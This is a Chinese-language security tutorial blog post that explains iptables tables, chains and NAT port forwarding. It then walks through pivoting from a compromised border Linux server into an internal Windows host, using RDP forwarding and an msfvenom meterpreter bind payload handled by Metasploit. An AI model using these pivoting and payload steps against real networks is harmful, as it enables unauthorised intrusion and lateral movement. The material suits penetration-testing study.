君子藏器于身待时而动,安全不露圭角覆盂之安。
——AnonySec
简介
iptables其实不是真正的防火墙,我们可以把它理解成一个客户端代理,用户通过iptables这个代理,将用户的安全设定执行到对应的“安全框架”中,这个“安全框架”才是真正的防火墙,这个框架的名字叫netfilter。它才是防火墙真正的安全框架(framework),netfilter位于内核空间。
所以,可以理解为:iptables其实是一个命令行工具,位于用户空间,我们用这个工具操作真正的框架。
规则编写
1 | iptables table command chain Parameter&Xmatch target #表名 命令 链名 匹配条件 目标动作或跳转 |
参数详解
关于端口转发常用选项的简要说明:
1 | -t #指定表 |
四表五链
初步认识iptables四表五链的一些工作特性:
四表:
1 | Filter #主要用于对数据包进行过滤,根据具体的规则决定是否放行该数据包。 |
五链:
1 | INPUT #用于修改数据包的服务类型,TTL... 决定数据包是否被状态跟踪机制处理 |
各表对应规则链如下:
常用命令
基本命令
1 | iptables -t nat -A PREROUTING -p tcp --dport [端口号] -j DNAT --to-destination [目标IP] |
多端口转发修改方案: ( 将本地服务器的 5000065535 转发至目标 IP 为 1.1.1.1 的 5000065535 端口 )
1 | iptables -t nat -A PREROUTING -p tcp -m tcp --dport 50000:65535 -j DNAT --to-destination 1.1.1.1 |
非同端口号修改方案:(使用本地服务器的 60000 端口来转发目标 IP 为 1.1.1.1 的 50000 端口)
1 | iptables -t nat -A PREROUTING -p tcp -m tcp --dport 60000 -j DNAT --to-destination 1.1.1.1:50000 |
查看 NAT 规则
1 | iptables -t nat -vnL |
删除 NAT 规则
通过上面的查看规则命令,查看规则后,确定你要删除的规则的顺序,下面的命令是删除第一个规则。
1 | iptables -t nat -D PREROUTING 1 |
实例说明
环境准备
☁️VPS攻击机
192.168.199.246
☁️目标边界Linux web服务器(出网)
内网IP 192.168.144.203
目标内网Widnwos web服务器(不出网)
内网IP 192.168.144.211
开启路由转发
首先,在目标边界服务器上的开启系统路由转发功能:
1 | sed -i '/net.ipv4.ip_forward/ s/\(.*= \).*/\11/' /etc/sysctl.conf |
利用场景
RDP端口转发
通过☁️目标边界服务器
访问目标内网服务器
的远程桌面RDP:
1 | /sbin/iptables -P INPUT ACCEPT #默认输入为允许 |
将192.168.144.203的5353端口的全部数据包转换为目的192.168.144.211的3389端口上,这一步只是先把数据包地址转换过来。
【注:192.168.144.203的5353端口为开放状态】
1 | iptables -t nat -A PREROUTING -d 192.168.144.203 -p tcp -m tcp --dport 5353 -j DNAT --to-destination 192.168.144.211:3389 |
通俗来讲就是告诉iptables,目的192.168.144.211的3389端口的数据包都从192.168.122.144这个地址上走,这样就能访问到指定的目标内网机器 。
1 | iptables -t nat -A POSTROUTING -d 192.168.144.211 -p tcp -m tcp --dport 3389 -j SNAT --to-source 192.168.144.203 |
将转发规则从eth0网卡流出。
1 | iptables -A FORWARD -o eth0 -d 192.168.144.211 -p tcp --dport 3389 -j ACCEPT |
保存iptables设置并重启。
1 | /etc/init.d/iptables save && /etc/init.d/iptables restart |
查看 iptables 的 NAT 规则。
1 | iptables -t nat -vnL |
通过☁️目标边界服务器
成功登录到目标内网服务器
。
Metasploit上线
通过☁️目标边界服务器
把其目标内网服务器(不出网)
通过payload上线到☁️VPS攻击机
的metasploit上。
1 | /sbin/iptables -P INPUT ACCEPT |
通过msfvenom生成正向的payload。
1 | sudo msfvenom -p windows/x64/meterpreter/bind_tcp lport=53 -f exe > fw.exe |
接着,在☁️VPS攻击机
启用metasploit监听后,将该payload在目标内网服务器(不出网)
上执行。
1 | sudo msfconsole -q |
最后,目标内网服务器(不出网)
成功上线到☁️VPS攻击机
的metasploit上。
总结
Linux的iptables有些类似windows的netsh,但iptables的功能更加强大。由于需要事先开启目标系统的路由转发功能,所以root权限是必不可少的,一切都需在提权之后进行。